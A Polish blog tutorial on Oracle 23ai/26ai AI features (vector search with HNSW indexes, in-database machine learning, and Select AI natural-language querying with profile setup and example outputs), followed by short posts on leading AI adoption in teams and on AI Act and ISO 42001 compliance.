W 23ai/26ai wektor to zwykła kolumna w tabeli - definiujesz jej wymiar i format liczb. Dzięki temu embeddingi (np. opisów produktów, dokumentów, zdjęć) leżą obok danych biznesowych, a nie w osobnym systemie.

Definicja kolumny ma postać VECTOR(liczba_wymiarów, format). Na przykład VECTOR(384, FLOAT32) to wektor o 384 wymiarach (tyle liczb tworzy jeden embedding). Wymiar nie jest przypadkowy - narzuca go model, którym liczysz embeddingi, a kolumna w tabeli musi mieć dokładnie tyle samo, inaczej zapis się nie powiedzie. Akurat 384 to rozmiar wektora popularnego, lekkiego modelu embeddingów z rodziny all-MiniLM (używanej m.in. w przykładach importu ONNX w Oracle); większe modele zwracają np. 768, 1024 lub 1536 wymiarów - więcej niuansów kosztem rozmiaru i szybkości. Wektor zapisany jest w formacie FLOAT32 (32-bitowa liczba zmiennoprzecinkowa; alternatywy to m.in. FLOAT64 dla większej precyzji oraz INT8 lub BINARY dla mniejszego rozmiaru kosztem dokładności). W podglądzie DESC pojawia się jeszcze trzeci człon - DENSE - czyli format gęsty: przechowywane są wszystkie wymiary (alternatywą jest SPARSE, opłacalny dla wektorów z dużą liczbą zer). Gdy wymiar lub format mają być dowolne, użyjesz gwiazdki, np. VECTOR(*, *).

Kolumna typu VECTOR(384, FLOAT32) - wektor jest first-class citizen w bazie

Wyszukiwanie semantyczne funkcją VECTOR_DISTANCE

Sercem AI Vector Search jest funkcja VECTOR_DISTANCE. Liczy ona odległość między wektorami (np. metryką kosinusową), a najmniejsza odległość oznacza największe podobieństwo. W przykładzie pytamy o produkty najbardziej podobne do roweru górskiego - baza poprawnie układa ranking:

VECTOR_DISTANCE z metryką COSINE - ranking podobieństwa liczony w jednym zapytaniu SQL

Skąd te wartości w wektorach? W tym przykładzie celowo użyliśmy malutkich, 3-wymiarowych wektorów wpisanych ręcznie - tylko po to, żeby ranking dało się policzyć w głowie i odczytać z ekranu. Każda z trzech liczb to umowna „oś cechy" produktu (np. jak bardzo jest sportowy, terenowy, elegancki). W prawdziwym systemie tych liczb nie wpisujesz ręcznie - generuje je model embeddingów (funkcją VECTOR_EMBEDDING na zaimportowanym modelu ONNX), a wektor ma nie trzy, lecz setki wymiarów (np. 384). Sama funkcja VECTOR_DISTANCE działa identycznie niezależnie od tego, czy liczb jest 3 czy 384.

Składnia jest zwięzła i czytelna - to po prostu SQL z nowymi funkcjami:

SELECT nazwa,
       VECTOR_DISTANCE(cechy, VECTOR('[0.90,0.10,0.20]'), COSINE) AS odleglosc
FROM   produkty
ORDER  BY odleglosc
FETCH FIRST 3 ROWS ONLY;

-- wynik (ranking podobieństwa do [0.90, 0.10, 0.20]):
-- NAZWA            ODLEGLOSC
-- ---------------  ---------
-- Rower gorski             0
-- Rower szosowy        .0059
-- Hulajnoga            .3265
-- 3 rows selected.

Jak to czytać: im mniejsza liczba w kolumnie ODLEGLOSC, tym produkt w kolumnie NAZWA jest bardziej podobny znaczeniowo do zapytania. Zero to ten sam kierunek wektora (najlepsze dopasowanie), a im większa wartość, tym dalej znaczeniowo - dlatego ranking sortujemy rosnąco po odległości i bierzemy pierwsze wiersze.

Indeks wektorowy HNSW dla milionów wektorów

Przy dużych zbiorach przeszukiwanie każdego wektora po kolei jest zbyt wolne. Oracle dodaje indeksy wektorowe (HNSW i IVF) oraz dedykowany obszar pamięci Vector Pool. Zapytanie z FETCH APPROX - to przybliżona odmiana zwykłego FETCH FIRST: dopisek APPROX każe bazie skorzystać z indeksu wektorowego i zwrócić wynik przybliżony (z zadaną dokładnością), zamiast porównywać po kolei wszystkie wektory. Dzięki temu odpowiedź przychodzi bardzo szybko, nawet przy milionach rekordów:

Indeks wektorowy HNSW (graf sąsiedztwa w pamięci) i wyszukiwanie przybliżone FETCH APPROX

Rozłóżmy tę składnię na części:

CREATE VECTOR INDEX idx_prod_hnsw ON produkty(cechy) - tworzy indeks wektorowy o nazwie idx_prod_hnsw na kolumnie cechy (typu VECTOR) w tabeli produkty.
ORGANIZATION INMEMORY NEIGHBOR GRAPH - typ indeksu: graf sąsiadów trzymany w pamięci, czyli HNSW. Dzięki temu, że siedzi w pamięci (obszar Vector Pool), wyszukiwanie jest błyskawiczne. Alternatywą jest ORGANIZATION NEIGHBOR PARTITIONS - indeks IVF, który może leżeć na dysku (mniej pamięci, nieco wolniej).
DISTANCE COSINE - metryka odległości, jaką indeks ma optymalizować. Musi być ta sama, której używasz w zapytaniu (tu COSINE), inaczej indeks nie zostanie użyty. Inne opcje to m.in. EUCLIDEAN, DOT, MANHATTAN.
WITH TARGET ACCURACY 95 - docelowa dokładność wyszukiwania przybliżonego (95%). Indeks przyspiesza kosztem drobnej utraty trafności; 95 to zdrowy kompromis - wyższa wartość daje dokładniejsze wyniki, ale wolniej.

W zapytaniu kluczowe jest FETCH APPROX FIRST 2 ROWS ONLY: słowo APPROX mówi bazie, żeby skorzystała z indeksu wektorowego (wyszukiwanie przybliżone) zamiast porównywać po kolei wszystkie wektory. Bez APPROX Oracle policzyłby dokładny wynik, skanując całą tabelę - na milionach wektorów właśnie tego chcemy uniknąć.

Po co to wszystko? RAG na danych firmy

Najczęstsze zastosowanie wyszukiwania wektorowego to RAG (Retrieval-Augmented Generation) - odpowiedzi modelu językowego ugruntowane w dokumentach firmy. W Oracle cały przepływ może żyć w jednej bazie:

VECTOR_EMBEDDING (model ONNX w bazie) --> kolumna VECTOR z indeksem HNSW --> VECTOR_DISTANCE --> LLM z kontekstem" width="800" height="344">

Przepływ RAG w Oracle 23ai - embedding, indeks i wyszukiwanie obok danych transakcyjnych

Chcesz pewnie pisać zaawansowane zapytania SQL w Oracle?

Zaawansowany Oracle SQL - funkcje analityczne, hierarchie i optymalizacja zapytań. Ocena 4.9/5, terminy gwarantowane.

Oracle Machine Learning - model ML w czystym SQL

To najstarszy filar AI w Oracle - i wciąż w pełni żywy w 26ai. Pakiet DBMS_DATA_MINING jest w bazie od Oracle 10g (2004), dziś pod nazwą Oracle Machine Learning for SQL (OML4SQL) - to nie nowość 23ai/26ai. Pozwala zbudować model uczenia maszynowego bez ani jednej linijki Pythona i bez eksportu danych. W przykładzie uczymy klasyfikator Naive Bayes przewidywać, czy klient dokona zakupu, a następnie wołamy PREDICTION wprost w zapytaniu:

Oracle Machine Learning - budowa modelu i predykcja w SQL (DBMS_DATA_MINING, PREDICTION)

Czym jest model i po co go tworzymy? Model uczenia maszynowego to wytrenowany wzorzec - Oracle przegląda dane historyczne (np. którzy klienci kupili, a którzy nie, i jakie mieli cechy) i zapamiętuje wykryte zależności jako gotowy obiekt w bazie. Model budujesz raz, a potem dowolnie wiele razy „pytasz" go o nowe, nieznane przypadki funkcją PREDICTION (np. „czy ten klient kupi?") - bez ponownego uczenia. To właśnie różnica między ręcznie pisaną regułą (sztywne warunki IF) a modelem, który sam wyłapuje wzorce z danych i potrafi je uogólnić na nowe wiersze.

A co, gdy dane się zmienią? Model odzwierciedla dane z chwili treningu, więc kiedy rzeczywistość się zmienia (nowe zachowania klientów, sezonowość, nowe produkty), z czasem traci celność - to tzw. dryf modelu. Dlatego model co jakiś czas przetrenowujesz na świeższych danych: usuwasz stary (DROP_MODEL) i budujesz nowy (CREATE_MODEL) na aktualnej tabeli - zwykle cyklicznie, np. zaplanowanym zadaniem w DBMS_SCHEDULER raz na tydzień czy miesiąc. „Raz" znaczy więc „raz na cykl", a nie „raz na zawsze".

Co krok po kroku robi ten kod:

Tabela z danymi treningowymi (klienci_ml) - osiem rekordów z wiekiem, dochodem i liczbą kliknięć. Kolumna kupil (TAK/NIE) to zmienna docelowa, której model będzie się uczyć. W realnym projekcie to tysiące lub miliony wierszy z Twojego hurtowni danych - tutaj 8 rekordów wystarczy, żeby zademonstrować mechanizm.
Tabela ustawień (ust_ml) - prosty słownik parametrów. Wpisujemy tu ALGO_NAME = ALGO_NAIVE_BAYES, co mówi pakietowi: użyj algorytmu Naiwnego Bayesa. Można tu podać dziesiątki innych parametrów (głębokość drzewa, liczba drzew w lesie losowym, próg prawdopodobieństwa itd.) - gdy tabela ustawień jest pusta, Oracle dobiera parametry automatycznie. Nazwę tej tabeli przekazujesz procedurze DBMS_DATA_MINING.CREATE_MODEL w parametrze settings_table_name - stamtąd model czyta swoją konfigurację.
Budowa modelu (DBMS_DATA_MINING.CREATE_MODEL) - jedno wywołanie PL/SQL i model jest gotowy. Podajesz: nazwę modelu (MODEL_KUPNA), typ zadania (CLASSIFICATION - klasyfikacja binarna), tabelę z danymi, kolumnę z unikalnym ID każdego przypadku i kolumnę docelową. Oracle trenuje model w bazie - żadne dane nie opuszczają serwera, żadne połączenie z zewnętrznym API nie jest potrzebne.
Predykcja w SELECT (PREDICTION i PREDICTION_PROBABILITY) - model działa jak zwykła funkcja SQL. PREDICTION(MODEL_KUPNA USING wiek, dochod, klikniecia) zwraca prognozowaną etykietę (TAK lub NIE), a PREDICTION_PROBABILITY - stopień pewności tej prognozy w przedziale 0-1. Możesz łączyć je z WHERE, JOIN, ORDER BY - to zwykłe wyrażenie SQL.

Cały model powstał i działa wewnątrz bazy - obliczenia AI jadą do danych, nie odwrotnie. Ta sama filozofia co Vector Search, tyle że dostępna już od Oracle 9i R2.

Select AI - pytaj bazę po polsku

Wyobraź sobie sytuację: analityk biznesowy chce wiedzieć, ilu klientów złożyło zamówienie w ostatnim kwartale wartości powyżej 10 000 zł. Nie zna SQL, nie wie jak nazywa się tabela, nie wie w której kolumnie jest data. Normalnie idzie do programisty, który pisze zapytanie. Select AI odwraca ten schemat: analityk pyta bazę bezpośrednio, po polsku, zwykłym zdaniem.

Select AI (pakiet DBMS_CLOUD_AI, dostępny od Oracle Database 23ai) to mechanizm zamieniający pytanie w języku naturalnym na pełne zapytanie SQL - na Twoim konkretnym schemacie, z właściwymi nazwami tabel i kolumn - i od razu zwracający wynik. Pod spodem działa duży model językowy (LLM), ale Ty piszesz tylko zdanie po polsku, resztę robi baza.

Jak to działa - przepływ krok po kroku

Zrozumienie mechanizmu jest kluczowe, żeby świadomie go używać (i żeby wiedzieć, gdzie są granice). Oto co się dzieje, gdy piszesz SELECT AI 'pokaż dziesięciu największych klientów':

Baza czyta profil AI. Profil (stworzony przez administratora raz, poleceniem DBMS_CLOUD_AI.CREATE_PROFILE) zawiera: adres i klucz API dostawcy LLM, nazwę modelu językowego, listę tabel i kolumn, które model „widzi".
Baza buduje tzw. prompt systemowy. Automatycznie pobiera z danych słownikowych (ALL_TABLES, ALL_COLUMNS) definicje tabel i kolumn z profilu, a następnie wysyła do LLM instrukcję: „Masz do dyspozycji ten schemat, napisz SQL odpowiadający na to pytanie."
LLM generuje SQL. Model widzi schemat i pytanie użytkownika, odpowiada czystym zapytaniem SQL (bez żadnych dodatkowych słów).
Baza wykonuje wygenerowany SQL i zwraca wyniki. Wygenerowane zapytanie jest uruchamiane na bazie tak samo jak każde inne - z uprawnieniami bieżącego użytkownika.

Dane do LLM - co tak naprawdę wysyłasz?

Do zewnętrznego modelu trafia wyłącznie schemat (nazwy tabel i kolumn oraz ewentualne komentarze) i treść Twojego pytania. Dane z tabel nie są wysyłane do LLM. Mimo to, jeśli nazwy kolumn zdradzają wrażliwe informacje (np. nr_pesel, kwota_wynagrodzenia), warto przemyśleć, które tabele umieszczasz w profilu.

Krok 1 - Poświadczenia (credential)

Zanim stworzysz profil, musisz zapisać w bazie klucz API dostawcy LLM. Oracle przechowuje go bezpiecznie w zaszyfrowanym obiekcie CREDENTIAL. Poniżej przykład dla OpenAI:

-- Zapisanie klucza API OpenAI w zaszyfrowanym obiekcie credential.
-- Klucz jest przechowywany jak hasło w Oracle Wallet - nie widać go po stworzeniu.
BEGIN
  DBMS_CLOUD.CREATE_CREDENTIAL(
    credential_name => 'OPENAI_CRED',        -- dowolna nazwa obiektu w bazie
    username        => 'OPENAI',             -- etykieta dostawcy; OpenAI nie ma loginu, liczy się tylko klucz w password
    password        => 'sk-...'              -- Twój klucz API z platform.openai.com
  );
END;
/

Skąd tu username? DBMS_CLOUD.CREATE_CREDENTIAL to uniwersalny mechanizm na pary login + hasło (Oracle używa go też np. do chmury czy zewnętrznych baz danych). OpenAI uwierzytelnia się jednak samym kluczem API - dlatego klucz wpisujesz w password, a username jest tu tylko etykietą; w przykładach Oracle wstawia się nazwę dostawcy ('OPENAI'). To nie jest Twój login do OpenAI ani żadna wartość, którą OpenAI sprawdza.

Jeżeli używasz OCI Generative AI (usługa Oracle Cloud - dane nie opuszczają infrastruktury OCI), zamiast klucza API podajesz poświadczenia OCI (user OCID, tenancy OCID, fingerprint klucza prywatnego) - procedura jest analogiczna, zmienia się tylko format parametrów.

Krok 2 - Profil AI

Profil to konfiguracja, która spina razem: dostawcę LLM, model, credential i listę tabel, które model może „widzieć". Tworzysz go raz (zazwyczaj robi to DBA lub właściciel schematu) - użytkownicy z nadanym profilem mogą potem pytać bazę bez konfiguracji:

-- Stworzenie profilu AI łączącego: dostawcę LLM, model, credential i widoczne tabele.
-- JSON-owa konfiguracja jest przesyłana do DBMS_CLOUD_AI.CREATE_PROFILE.
BEGIN
  DBMS_CLOUD_AI.CREATE_PROFILE(
    profile_name => 'SPRZEDAZ_AI',           -- nazwa profilu używana w SELECT AI
    attributes   => '{
      "provider"   : "openai",               -- dostawca: openai | oci | azure | google
      "credential_name": "OPENAI_CRED",      -- credential stworzony w kroku 1
      "model"      : "gpt-4o",               -- konkretna wersja modelu LLM
      "object_list": [                        -- lista tabel, które LLM "widzi" (schemat)
        {"owner": "SKLEP", "name": "ZAMOWIENIA"},
        {"owner": "SKLEP", "name": "KLIENCI"},
        {"owner": "SKLEP", "name": "PRODUKTY"}
      ]
    }'
  );
END;
/

-- Nadanie innemu użytkownikowi prawa korzystania z Select AI (EXECUTE na pakiecie):
GRANT EXECUTE ON DBMS_CLOUD_AI TO ANNA;

-- Ustawienie profilu jako domyślnego dla bieżącej sesji:
EXEC DBMS_CLOUD_AI.SET_PROFILE('SPRZEDAZ_AI');

Krok 3 - Cztery tryby zapytania

Składnia SELECT AI obsługuje wiele trybów (tzw. akcji), wybierasz je słowem kluczowym za AI. Sześć najczęściej używanych:

Tryb (akcja)	Składnia	Co zwraca
runsql (domyślny)	`SELECT AI 'pytanie'`	Wynik zapytania SQL wygenerowanego przez LLM - wiersze i kolumny jak w zwykłym SELECT. Obsługuje też RAG (wyszukiwanie wektorowe jako kontekst)
showsql	`SELECT AI showsql 'pytanie'`	Wygenerowany kod SQL jako tekst - nie wykonuje go. Przydatne do nauki i weryfikacji poprawności
explainsql	`SELECT AI explainsql 'pytanie'`	Generuje SQL, a następnie prosi LLM o wyjaśnienie po ludzku, co ten SQL robi. Para do `showsql` - zamiast czytać SQL samemu, dostajesz opis słowami
showprompt	`SELECT AI showprompt 'pytanie'`	Wyświetla pełny prompt, który Oracle buduje i wysyła do LLM - widać tu schemat tabel, instrukcje systemowe i Twoje pytanie. Niezastąpione przy debugowaniu i audycie bezpieczeństwa
narrate	`SELECT AI narrate 'pytanie'`	LLM wykonuje SQL, dostaje wyniki i opisuje je zdaniami po polsku. Zamiast tabeli z liczbami dostajesz zdanie: „Najlepszy miesiąc to marzec z 4 820 zł średniej wartości zamówienia"
chat	`SELECT AI chat 'pytanie'`	Przekazuje pytanie bezpośrednio do LLM bez uruchamiania SQL. Rozmowa ogólna - wyjaśnienia, kontekst, pytania niezwiązane z danymi w bazie
summarize	`SELECT AI summarize 'pytanie'`	Streszcza tekst i duże pliki (do 1 GB) przy pomocy LLM. Przydatne do podsumowywania dokumentów, raportów lub długich treści przechowywanych w bazie
feedback	`SELECT AI feedback 'korekta'`	Pozwala powiedzieć modelowi, że poprzedni SQL był błędny i jak powinien wyglądać poprawny. LLM uczy się na tej podstawie i generuje dokładniejsze zapytania w przyszłości. Dostępne od Oracle AI Database 26ai
agent	`SELECT AI agent 'zadanie'`	Uruchamia autonomicznego agenta z planowaniem wieloetapowym, użyciem narzędzi i refleksją - agent samodzielnie rozkłada złożone zadanie na kroki i je wykonuje. Dostępne od Oracle AI Database 26ai

Przykłady w akcji

Przyjmijmy, że w schemacie SKLEP mamy tabele ZAMOWIENIA (z kolumnami: id_klienta, data_zamowienia, wartosc) i KLIENCI (id_klienta, imie, nazwisko). Oto jak wygląda rozmowa z bazą:

-- runsql (domyślny): wykonuje SQL i zwraca wiersze jak w zwykłym SELECT
SELECT AI 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  IMIE        NAZWISKO    SUMA_ZAMOWIEN
--  ----------  ----------  -------------
--  Anna        Kowalska       128 540,00
--  Marek       Nowak          114 220,00
--  ...         ...                   ...

-- showsql: wyświetla wygenerowany SQL bez wykonywania go
SELECT AI showsql 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  SELECT k.imie, k.nazwisko, SUM(z.wartosc) AS suma_zamowien
--  FROM   sklep.klienci k
--  JOIN   sklep.zamowienia z ON z.id_klienta = k.id_klienta
--  WHERE  EXTRACT(YEAR FROM z.data_zamowienia) = EXTRACT(YEAR FROM SYSDATE)
--  GROUP  BY k.imie, k.nazwisko
--  ORDER  BY suma_zamowien DESC
--  FETCH FIRST 10 ROWS ONLY

-- explainsql: generuje SQL, a potem prosi LLM o wytłumaczenie go po ludzku
SELECT AI explainsql 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  "Zapytanie łączy tabele KLIENCI i ZAMOWIENIA po kolumnie id_klienta,
--   filtruje zamówienia z bieżącego roku, sumuje wartości dla każdego klienta
--   i sortuje malejąco, zwracając pierwszą dziesiątkę."

-- showprompt: pokazuje pełny prompt wysyłany do LLM (schemat + instrukcje + pytanie)
SELECT AI showprompt 'pokaż dziesięciu klientów z największą łączną wartością zamówień w tym roku';

--  "You are an Oracle SQL expert. The following tables are available:
--   SKLEP.ZAMOWIENIA (id_klienta NUMBER, data_zamowienia DATE, wartosc NUMBER)
--   SKLEP.KLIENCI (id_klienta NUMBER, imie VARCHAR2, nazwisko VARCHAR2)
--   Generate a SQL query for: pokaż dziesięciu klientów..."

-- narrate: wykonuje SQL i każe LLM opisać wynik zdaniami po polsku
SELECT AI narrate 'jaka była średnia wartość zamówienia w każdym miesiącu tego roku?';

--  "W 2025 roku najwyższa średnia wartość zamówienia przypadła na marzec
--   (4 820 zł), najniższa zaś na sierpień (2 110 zł). Ogólna średnia
--   roczna wyniosła 3 460 zł."

-- chat: przekazuje pytanie wprost do LLM, bez SQL i bez danych z tabel
SELECT AI chat 'co to jest indeks HNSW i kiedy go użyć?';

--  "HNSW (Hierarchical Navigable Small World) to graf przybliżonego wyszukiwania
--   najbliższych sąsiadów. Buduje wielowarstwową strukturę węzłów połączonych
--   krawędziami - górne warstwy to długie skoki, dolne to precyzyjne dopasowanie...
--   Użyj go, gdy masz powyżej kilkudziesięciu tysięcy wektorów i zależy Ci na
--   czasie odpowiedzi poniżej 10 ms."

-- summarize: streszcza tekst lub plik przechowywany w bazie (do 1 GB)
SELECT AI summarize 'streść raport kwartalny z tabeli RAPORTY gdzie id = 42';

--  "Raport za Q1 2025 odnotowuje wzrost sprzedaży o 18% rok do roku,
--   głównie w segmencie B2B. Marża brutto spadła o 2 pp do poziomu 34%
--   z powodu wzrostu kosztów logistyki..."

-- feedback (Oracle 26ai): powiedz modelowi, że poprzedni SQL był błędny
SELECT AI feedback 'poprzednie zapytanie o klientów pominęło zamówienia anulowane - kolumna status = ''ANULOWANE'' powinna być wykluczona';

--  "Dziękuję za korektę. Zapamiętałem, że przy zapytaniach o klientów
--   i zamówienia należy zawsze dodać warunek status != ''ANULOWANE''."

-- agent (Oracle 26ai): autonomiczny agent rozkłada złożone zadanie na kroki
SELECT AI agent 'znajdź klientów, którzy kupili produkt X, ale nie kupili Y, i wyślij im ofertę rabatową';

--  Agent planuje: (1) znajdź klientów X, (2) odejmij zbiór klientów Y,
--  (3) pobierz adresy e-mail, (4) wywołaj narzędzie do wysyłki oferty.
--  Każdy krok jest wykonywany osobno z refleksją nad wynikiem.

Tryb showsql - narzędzie do nauki i weryfikacji

Tryb showsql jest szczególnie wartościowy z dwóch powodów. Po pierwsze, pozwala sprawdzić, czy model dobrze zrozumiał pytanie - zanim zobaczysz wyniki, możesz ocenić poprawność SQL. Po drugie, to świetne narzędzie do nauki: piszesz pytanie po polsku, dostajesz gotowy, poprawny SQL i możesz analizować, jak Oracle przekłada intencję na zapytanie. W środowisku produkcyjnym warto uruchamiać showsql przy pierwszym użyciu każdego nowego pytania, żeby upewnić się, że model trafia w intencję.

Obsługiwani dostawcy LLM

Select AI współpracuje z kilkoma dostawcami dużych modeli językowych. Wybór zależy głównie od wymagań bezpieczeństwa i polityki firmy:

OCI Generative AI - usługa Oracle Cloud; dane pozostają w infrastrukturze OCI, naturalny wybór dla klientów chmury Oracle.
OpenAI - modele z rodziny GPT; schemat tabel trafia do serwerów OpenAI (poza UE).
Azure OpenAI - modele OpenAI hostowane przez Microsoft na Azure; dostępne opcje regionów UE.
Google Vertex AI - modele Gemini; integracja przez klucz API Google Cloud.
Cohere - alternatywny dostawca, modele Command R.

Select AI vs Vector Search vs Oracle ML - kluczowa różnica

Oracle Machine Learning i AI Vector Search działają w całości wewnątrz bazy - żadne dane nie opuszczają serwera. Select AI jest inaczej skonstruowany: schemat i pytanie trafiają do zewnętrznego LLM przez HTTPS. To często decyduje o wyborze: w regulowanych branżach (banki, ochrona zdrowia) może wymagać dodatkowej zgody na przetwarzanie metadanych poza organizacją.

Kiedy Select AI naprawdę się przydaje

Select AI nie zastąpi analityka, który musi pisać skomplikowane zapytania z wieloma JOINami, funkcjami okna czy hierarchiami. Sprawdza się natomiast doskonale w scenariuszach, gdzie wartość leży w demokratyzacji dostępu do danych:

Self-service BI dla menedżerów - kierownik sprzedaży sam sprawdza wyniki bez angażowania działu IT.
Rapid prototyping zapytań - programista pisze pytanie, dostaje bazowy SQL, który potem doprecyzowuje ręcznie.
Onboarding do nieznanej bazy - nowy pracownik szybko eksploruje nieznany schemat pytaniami w języku naturalnym.
Dashboardy z dynamicznymi pytaniami - aplikacje, gdzie użytkownik wpisuje pytanie i dostaje wynik bez własnego SQL.

Dlaczego AI w bazie ma sens?

Aspekt	Osobna baza wektorowa	AI Vector Search w Oracle
Lokalizacja danych	Kopia danych w drugim systemie	Wektory obok danych biznesowych
Spójność i transakcje	Synchronizacja, ryzyko rozjazdu	Pełne ACID, jedna transakcja
Bezpieczeństwo	Drugi model uprawnień	Te same role i uprawnienia Oracle
Backup i odtwarzanie	Osobny proces	Wspólny RMAN / Data Guard
Złączenia z danymi firmy	Trudne (dwa systemy)	Zwykły JOIN w SQL

Najczęstsze pytania

Od której wersji Oracle ma wyszukiwanie wektorowe?

Od Oracle Database 23ai (maj 2024) i w kolejnych wydaniach linii 23 (oznaczanych jako 26ai). Funkcja jest też w darmowej edycji Oracle Database Free - na niej powstały przykłady w tym artykule.

Czy potrzebuję osobnej bazy wektorowej?

Nie. W 23ai wektor to typ danych VECTOR w zwykłej tabeli - z tymi samymi transakcjami, backupem i uprawnieniami co reszta bazy.

Czy AI w Oracle wymaga wysyłania danych na zewnątrz?

Vector Search i Oracle Machine Learning działają w całości w bazie - embeddingi możesz liczyć lokalnie z modelu ONNX. Zewnętrzny LLM jest potrzebny tylko dla funkcji generatywnych (Select AI, generowanie odpowiedzi w RAG).

Zaawansowany Oracle SQL - fundament pod AI w bazie

Vector Search, OML i Select AI to nadal SQL. Naucz się pisać zaawansowane zapytania, funkcje analityczne i optymalizować wydajność u praktyka JSystems.

Zaawansowany Oracle SQL - terminy gwarantowane

Interesuje Cię strona AI/ML? Zobacz też Uczenie maszynowe w Pythonie oraz Tworzenie systemu RAG z LangChain.

AI dla liderów: jak wdrożyć AI w zespole bez chaosu i straconych pieniędzy

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:03:51 +0000

Wdrożenie AI w zespole najczęściej nie wywraca się na technologii, tylko na zarządzaniu zmianą. Poniżej konkretny plan dla liderów, którzy nie chcą spalić budżetu na eksperymenty bez efektu.

AI dla liderów - jak wdrożyć AI w zespole bez chaosu i straconych pieniędzy

Większość wdrożeń AI w firmach kończy się jednym z dwóch scenariuszy: albo nic się nie zmienia ("kupiliśmy licencję Copilota, nikt nie używa"), albo chaos ("każdy używa innego narzędzia, nie wiadomo jakie dane wychodzą na zewnątrz"). Dobrze zaplanowane wdrożenie AI to projekt zarządzania zmianą, nie projekt technologiczny. Ten artykuł jest dla liderów którzy chcą uniknąć obu pułapek.

Dlaczego większość wdrożeń AI w firmach zawodzi

Badania McKinsey (2025): tylko 23% firm które wdrożyły narzędzia AI osiągnęło mierzalne efekty biznesowe. Główne przyczyny porażek:

Brak clear ownership - "kto odpowiada za AI?" - nikt konkretny
Wybór narzędzi zanim zdefiniowano problemy które AI ma rozwiązać
Ignorowanie ryzyk: bezpieczeństwo danych, halucynacje, AI Act
Opór pracowników którzy boją się że AI ich zastąpi

Framework wdrożenia AI - 5 kroków

Krok 1: Zdefiniuj problem, nie technologię

Nie "wdrożymy AI" ale "chcemy skrócić czas obsługi ticketów z 4h do 1h". Konkretny problem → konkretne rozwiązanie → mierzalny efekt. Bez tego każde wdrożenie jest projektem bez celu.

Krok 2: Wyznacz AI Champion

Jedna osoba odpowiedzialna za wdrożenie AI w organizacji lub zespole. Nie musi być techniczna - musi rozumieć biznes i mieć autorytet żeby zmieniać procesy. Bez championa projekt ginie w bieżącej pracy.

Krok 3: Zidentyfikuj quick wins

Trzy pierwsze use case powinny być:

Powtarzalne zadania (min. 5h/tyg. w zespole)
Mierzalne (czas, jakość, koszt)
Bezpieczne (nie dotyczą krytycznych danych)

Przykłady: streszczanie raportów, draft odpowiedzi na maile, generowanie dokumentacji.

Krok 4: Polityka AI - zasady zanim narzędzia

Przed wdrożeniem ustal:

Jakich danych nie wolno wklejać do zewnętrznych LLM (dane klientów, PESEL, tajemnice handlowe)
Które narzędzia są zatwierdzone, które zakazane
Jak oznaczać treści wygenerowane przez AI (AI Act requirement)
Kto weryfikuje output AI przed użyciem w decyzjach biznesowych

Krok 5: Szkolenie praktyczne

Jednogodzinne webinary "co to jest AI" niczego nie zmieniają. Efektywne szkolenie to: konkretne narzędzie + konkretne zadanie z pracy uczestnika + ćwiczenia. Pracownik wychodzi ze szkolenia z konkretnymi umiejętnościami dla swojej roli.

Jak komunikować AI pracownikom którzy boją się utraty pracy

Liderzy którzy ignorują ten lęk sabotują własne wdrożenia. Skuteczna komunikacja:

Konkretnie: "AI będzie obsługiwać X, Ty będziesz robić Y - które jest ciekawsze"
Zaangażuj pracowników w definiowanie use cases - własność zmniejsza opór
Pokaż quick wins jak AI pomaga, nie zastępuje
Uczciwie: tam gdzie AI zastępuje stanowiska - powiedz to wprost i zarządzaj tym transparentnie

Metryki sukcesu wdrożenia AI

Obszar	Metryka
Adopcja	% pracowników używających AI co tydzień
Produktywność	Czas wykonania konkretnych zadań (przed/po)
Jakość	Liczba rewizji dokumentów, błędów, eskalacji
Bezpieczeństwo	Liczba incydentów z danymi przez AI
ROI	Koszt licencji vs. zaoszczędzony czas × stawka

Szkolenie Gotowość na AI ACT →

To szkolenie może być dofinansowane dla Ciebie z KFS lub BUR.

★★★★★Średnia ocena naszych szkoleń w Google: 5/5

Newsletter bloga JSystems

Otrzymuj nowe artykuły prosto na swoją skrzynkę

Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.

Zapisz się do newslettera

AI Compliance 2026: poradnik AI Act + ISO 42001 dla firm, które muszą to wdrożyć

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:03:23 +0000

AI Act i ISO/IEC 42001 to dziś dwa filary compliance AI w firmie — i większość organizacji miesza je ze sobą. Rozdzielamy je jasno i pokazujemy, co realnie trzeba wdrożyć w 2026.

Każda firma w Polsce, która używa lub tworzy systemy AI, podlega rozporządzeniu AI ACT. Kary za nieprzestrzeganie sięgają 35 milionów euro lub 7% globalnego obrotu, a pełne przepisy obowiązują od sierpnia 2026.

Ten poradnik zbiera w jednym miejscu cztery bezpłatne artykuły dla CTO, CISO i zarządu: od przeglądu przepisów, przez praktyczny checklist i certyfikację ISO 42001, po strategię wdrożenia AI w zespole. Każdy artykuł możesz przeczytać osobno, klikając przycisk pod jego opisem.

Artykuły serii

Część 1

AI ACT 2026: co muszą zrobić polskie firmy

Przegląd wymagań AI ACT dla polskich przedsiębiorstw. Klasyfikacja ryzyka AI (niedopuszczalne, wysokie, ograniczone, minimalne), harmonogram wchodzenia przepisów w życie, konkretne obowiązki w zależności od tego, czy używasz AI jako narzędzia, czy dostarczasz własne systemy, oraz kary i organy egzekwujące w Polsce.

Czytaj artykuł

Część 2

AI ACT: praktyczny checklist dla CTO i CISO

Operacyjna lista kontrolna dla osób odpowiedzialnych za wdrożenie compliance. Krok po kroku: inwentaryzacja systemów AI, wymagana dokumentacja, szkolenia pracowników, procedury monitoringu i audytu. W środku gotowy szablon 4-tygodniowego planu, od oceny stanu obecnego po dokumentację gotową na kontrolę regulatora.

Czytaj artykuł

Część 3

ISO/IEC 42001: jak wdrożyć AIMS w firmie

ISO/IEC 42001 to międzynarodowy standard Systemu Zarządzania AI (AIMS). Certyfikacja to najmocniejszy dowód zgodności wobec AI ACT. Artykuł wyjaśnia, czym 42001 różni się od ISO 27001, omawia kluczowe wymagania, plan wdrożenia w sześciu krokach oraz realistyczne szacunki kosztów i czasu dla polskiej firmy.

Czytaj artykuł

Część 4

AI dla Liderów: jak wdrożyć AI w zespole bez chaosu

